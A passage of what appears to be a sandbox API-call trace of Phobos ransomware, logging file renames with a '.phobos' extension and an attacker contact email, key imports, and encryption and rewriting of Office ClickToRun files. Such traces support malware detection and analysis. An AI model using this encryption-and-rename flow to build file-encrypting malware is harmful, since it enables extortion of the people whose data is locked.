shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.917] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0062.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.917] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=2054872) returned 1 [0062.917] CloseHandle (hObject=0x310) returned 1 [0062.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0062.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0062.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.918] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0062.918] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0062.918] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a1d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0063.252] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0063.252] ReadFile (in: hFile=0x310, lpBuffer=0x3a5d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a5d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0064.822] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x366fc28 | out: lpNewFilePointer=0x0) returned 1 [0064.822] ReadFile (in: hFile=0x310, lpBuffer=0x3a9d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc34, lpOverlapped=0x0 | out: lpBuffer=0x3a9d058*, lpNumberOfBytesRead=0x366fc34*=0x40000, lpOverlapped=0x0) returned 1 [0065.252] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc84 | out: phKey=0x366fc84*=0x10dc950) returned 1 [0065.253] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0065.253] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc38*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc38*=0xc0060) returned 1 [0065.254] CryptDestroyKey (hKey=0x10dc950) returned 1 [0065.254] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc60 | out: lpNewFilePointer=0x0) returned 1 [0065.254] WriteFile (in: hFile=0x310, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x366fc70, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc70*=0xc0112, lpOverlapped=0x0) returned 1 [0065.273] SetEndOfFile (hFile=0x310) returned 1 [0065.273] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0065.273] WriteFile (in: hFile=0x310, lpBuffer=0x3add14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add14a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0065.275] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0065.275] WriteFile (in: hFile=0x310, lpBuffer=0x3add14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add14a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0065.277] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc30 | out: lpNewFilePointer=0x0) returned 1 [0065.277] WriteFile (in: hFile=0x310, lpBuffer=0x3add14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3add14a*, lpNumberOfBytesWritten=0x366fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0065.278] CloseHandle (hObject=0x310) returned 1 [0065.278] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0065.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0065.278] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=2285736) returned 1 [0065.278] CloseHandle (hObject=0x310) returned 1 [0065.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0065.279] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0065.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.279] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0065.280] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0065.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0065.280] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=567512) returned 1 [0065.280] CloseHandle (hObject=0x310) returned 1 [0065.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0065.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.280] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0065.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0065.280] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1231576) returned 1 [0065.280] CloseHandle (hObject=0x310) returned 1 [0065.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0065.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.281] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0065.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0065.281] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=947928) returned 1 [0065.281] CloseHandle (hObject=0x310) returned 1 [0065.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0065.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.281] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0065.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0065.281] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1295576) returned 1 [0065.282] CloseHandle (hObject=0x310) returned 1 [0065.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0065.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.282] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0065.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0065.410] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=512216) returned 1 [0065.410] CloseHandle (hObject=0x310) returned 1 [0065.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0065.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0065.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0065.411] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0065.411] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0065.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0065.411] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc610) returned 1 [0065.411] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0065.411] ReadFile (hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0) Thread: id = 40 os_tid = 0x490 [0042.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3380090 [0042.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3390098 [0042.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x28) returned 0x2b1b560 [0042.906] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x110102) returned 0x3b34020 [0042.909] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x50) returned 0x2b1b590 [0042.909] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af860 | out: phKey=0x37af860*=0x10c9450) returned 1 [0042.909] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0x37af848, dwFlags=0x0) returned 1 [0042.909] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b1b590, pdwDataLen=0x37af814 | out: pbData=0x2b1b590, pdwDataLen=0x37af814) returned 1 [0042.909] CryptDestroyKey (hKey=0x10c9450) returned 1 [0042.909] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0042.909] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0042.909] Wow64DisableWow64FsRedirection (in: OldValue=0x37af8ac | out: OldValue=0x37af8ac*=0x0) returned 1 [0042.909] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b1b590 | out: hHeap=0x2b10000) returned 1 [0042.909] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.909] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.909] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.909] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.910] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.913] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 [0042.915] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0xffffffff) returned 0x0 